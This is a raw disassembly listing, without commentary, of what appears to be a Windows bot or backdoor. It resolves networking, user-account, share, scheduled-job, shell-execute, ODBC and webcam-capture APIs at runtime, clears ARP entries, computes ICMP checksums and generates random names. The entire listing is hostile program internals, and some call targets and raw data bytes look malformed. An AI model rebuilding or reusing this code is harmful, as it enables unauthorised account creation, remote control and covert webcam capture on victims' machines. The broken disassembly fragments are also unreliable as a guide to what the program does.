		mov	dword_4D0908, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4D0904, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4D0760, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4D06E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4D07EC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4D0798, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4D07F8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4D07BC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4D0728, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4D0720, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4D0730, eax
		call	esi
		cmp	dword_4D0760, ebx
		mov	ecx, dword_4D07BC
		mov	dword_4D0858, eax
		jz	short loc_40A3D2
		cmp	dword_4D06E8, ebx
		jz	short loc_40A3D2
		cmp	dword_4D07EC, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0798, ebx
		jz	short loc_40A3D2
		cmp	dword_4D07F8, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0728, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0720, ebx
		jz	short loc_40A3D2
		cmp	dword_4D0730, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4D090C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4D07D4, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 268086Bh
		nop
		mov	dword_4D0910, eax
		mov	dword_4D090C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4D07D4, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4D07AC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4D08DC, eax
		call	esi
		cmp	dword_4D07AC, ebx
		mov	dword_4D073C, eax
		jz	short loc_40A466
		cmp	dword_4D08DC, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 268086Bh
		mov	dword_4D0918, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4D0914, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4D0718, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4D06F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4D0768, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4D079C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4D08B4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4D0750, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4D06FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4D06EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4D0784, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4D087C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4D0834, eax
		call	esi
		cmp	dword_4D0718, ebx
		mov	dword_4D0758, eax
		jz	short loc_40A582
		cmp	dword_4D06F0, ebx
		jz	short loc_40A582
		cmp	dword_4D0768, ebx
		jz	short loc_40A582
		cmp	dword_4D079C, ebx
		jz	short loc_40A582
		cmp	dword_4D08B4, ebx
		jz	short loc_40A582
		cmp	dword_4D0750, ebx
		jz	short loc_40A582
		cmp	dword_4D06FC, ebx
		jz	short loc_40A582
		cmp	dword_4D06EC, ebx
		jz	short loc_40A582
		cmp	dword_4D0784, ebx
		jz	short loc_40A582
		cmp	dword_4D087C, ebx
		jz	short loc_40A582
		cmp	dword_4D0834, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 268086Bh
		nop
		mov	dword_4D0920, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4D091C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4D0740, eax
		call	esi
		cmp	dword_4D0740, ebx
		mov	dword_4D081C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 268086Bh
		mov	dword_4D0928, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4D0924, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4D08A0, eax
		call	esi
		cmp	dword_4D08A0, ebx
		mov	dword_4D089C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 268086Bh
		mov	dword_4D0930, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4D092C, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4D08CC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4D08C4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4D088C, eax
		call	esi
		cmp	dword_4D08CC, ebx
		mov	dword_4D075C, eax
		jz	short loc_40A68A
		cmp	dword_4D08C4, ebx
		jz	short loc_40A68A
		cmp	dword_4D088C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 268086Bh
		mov	dword_4D0938, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4D0934, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4D0790, eax
		call	esi
		cmp	dword_4D0790, ebx
		mov	dword_4D0898, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 268086Bh
		mov	dword_4D0940, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4D093C, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4D0860, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4D08AC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4D07E8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4D07A0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4D0840, eax
		call	esi
		cmp	dword_4D0860, ebx
		mov	dword_4D07B0, eax
		jz	short loc_40A772
		cmp	dword_4D08AC, ebx
		jz	short loc_40A772
		cmp	dword_4D07E8, ebx
		jz	short loc_40A772
		cmp	dword_4D07A0, ebx
		jz	short loc_40A772
		cmp	dword_4D0840, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	near ptr 268086Bh
		nop
		mov	dword_4D0948, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4D0944, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4D0774, eax
		call	esi
		cmp	dword_4D0774, ebx
		mov	dword_4D0854, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 268086Bh
		mov	dword_4D0950, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4D094C, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4D08E4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4D08E8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4D08EC, esi
		jz	short loc_40A84A
		push	dword_4D08F0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4D08F4, esi
		jz	short loc_40A87E
		push	dword_4D08F8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4D08FC, esi
		jz	short loc_40A8B2
		push	dword_4D0900
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4D0904, esi
		jz	short loc_40A8E6
		push	dword_4D0908
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4D090C, esi
		jz	short loc_40A91A
		push	dword_4D0910
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4D0914, esi
		jz	short loc_40A94E
		push	dword_4D0918
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4D091C, esi
		jz	short loc_40A982
		push	dword_4D0920
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4D0924, esi
		jz	short loc_40A9B6
		push	dword_4D0928
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4D092C, esi
		jz	short loc_40A9EA
		push	dword_4D0930
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4D0934, esi
		jz	short loc_40AA1E
		push	dword_4D0938
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4D093C, esi
		jz	short loc_40AA52
		push	dword_4D0940
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4D0944, esi
		jz	short loc_40AA86
		push	dword_4D0948
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4D094C, esi
		jz	short loc_40AABA
		push	dword_4D0950
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_432C30
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4D0740
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4D08A0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_432E44
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_432E20
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4D08A0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_432DF0

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_432DC0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4D089C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D07C8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4D0954
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_432E90o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_432EF8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 0A5h, 5Ah
; ---------------------------------------------------------------------------
		sub	[edx], al
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_429138 ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_436B50
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_436B50
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
